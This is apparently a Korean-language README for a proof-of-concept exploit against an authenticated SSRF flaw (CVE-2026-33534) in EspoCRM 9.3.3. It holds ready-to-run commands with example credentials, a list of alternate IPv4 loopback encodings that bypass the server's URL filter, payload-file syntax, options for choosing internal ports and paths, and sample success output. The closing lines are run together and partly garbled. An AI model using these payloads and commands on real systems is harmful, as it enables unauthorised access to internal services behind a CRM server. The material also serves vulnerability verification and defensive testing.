
EspoCRM 9.3.3 - 대체 IPv4 표기법을 통한 인증된 SSRF
EspoCRM 9.3.3의 /api/v1/Attachment/fromImageUrl 엔드포인트에서 대체 IPv4 루프백 표기법을 통한 인증된 SSRF 개념 증명(PoC)입니다.
EspoCRM 9.3.3은 http://127.0.0.1/...과 같은 직접 루프백 URL을 차단하지만, 서버 측 fetch 경로는 cURL이 루프백으로 정규화하는 대체 IPv4 표현을 허용합니다. 이를 통해 영향을 받는 첨부 파일/이미지 업로드 흐름에 접근 권한이 있는 인증된 사용자가 EspoCRM 서버가 내부 리소스를 가져오도록 만들 수 있습니다.
이 익스플로잇은 먼저 직접 127.0.0.1 제어 요청을 제출하여 HTTP 403으로 차단될 것으로 예상합니다. 그런 다음 여러 인코딩된 루프백 페이로드를 테스트하고 저장된 첨부 파일을 생성하는 페이로드를 보고합니다.
requests의존성 설치:
python3 -m pip install requests
포트 8083에서 실행 중인 EspoCRM 인스턴스에 대한 기본 로컬 검증:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
사용자 지정 포트와 경로의 내부 서비스 테스트:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
사용자 지정 페이로드만 사용:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
익스플로잇은 기본적으로 다음 루프백 호스트 표현을 테스트합니다:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
사용자 지정 페이로드 파일이 지원됩니다. 각 줄은 다음 중 하나일 수 있습니다:
host
label=host
예시:
hex-dword=0x7f000001
decimal-dword=2130706433
실행:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url EspoCRM 기본 URL
-U, --username EspoCRM 사용자 이름
-P, --password EspoCRM 비밀번호
--internal-port 가져올 내부 루프백 포트
--internal-path 가져올 내부 경로
--payload 추가 루프백 호스트 표기법
--payload-file 줄당 하나의 호스트 페이로드가 포함된 파일
--no-default-payloads 사용자 지정 페이로드만 사용
--field 첨부 파일 필드, 기본값: avatar
--parent-type 상위 엔티티 유형, 기본값: User
--parent-id 선택적 상위 엔티티 ID
--cleanup 성공한 페이로드로 생성된 첨부 파일 삭제
--stop-on-first 첫 번째 성공적인 우회 후 중지
--insecure TLS 인증서 검증 비활성화
성공적인 익스플로잇은 직접 루프백 제어가 차단되고 하나 이상의 인코딩된 페이로드가 허용되는 것을 보여줍니다:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg를 가져옵니다. 다른 내부 서비스의 경우 --internal-port 및 --internal-path를 조정하세요.User.avatar입니다. 테스트 계정에 다른 업로드 컨텍스트가 필요한 경우 --field, --parent-type 및 --parent-id를 사용하세요.--cleanup을 사용하여 생성된 첨부 파일을 자동으로 삭제하세요.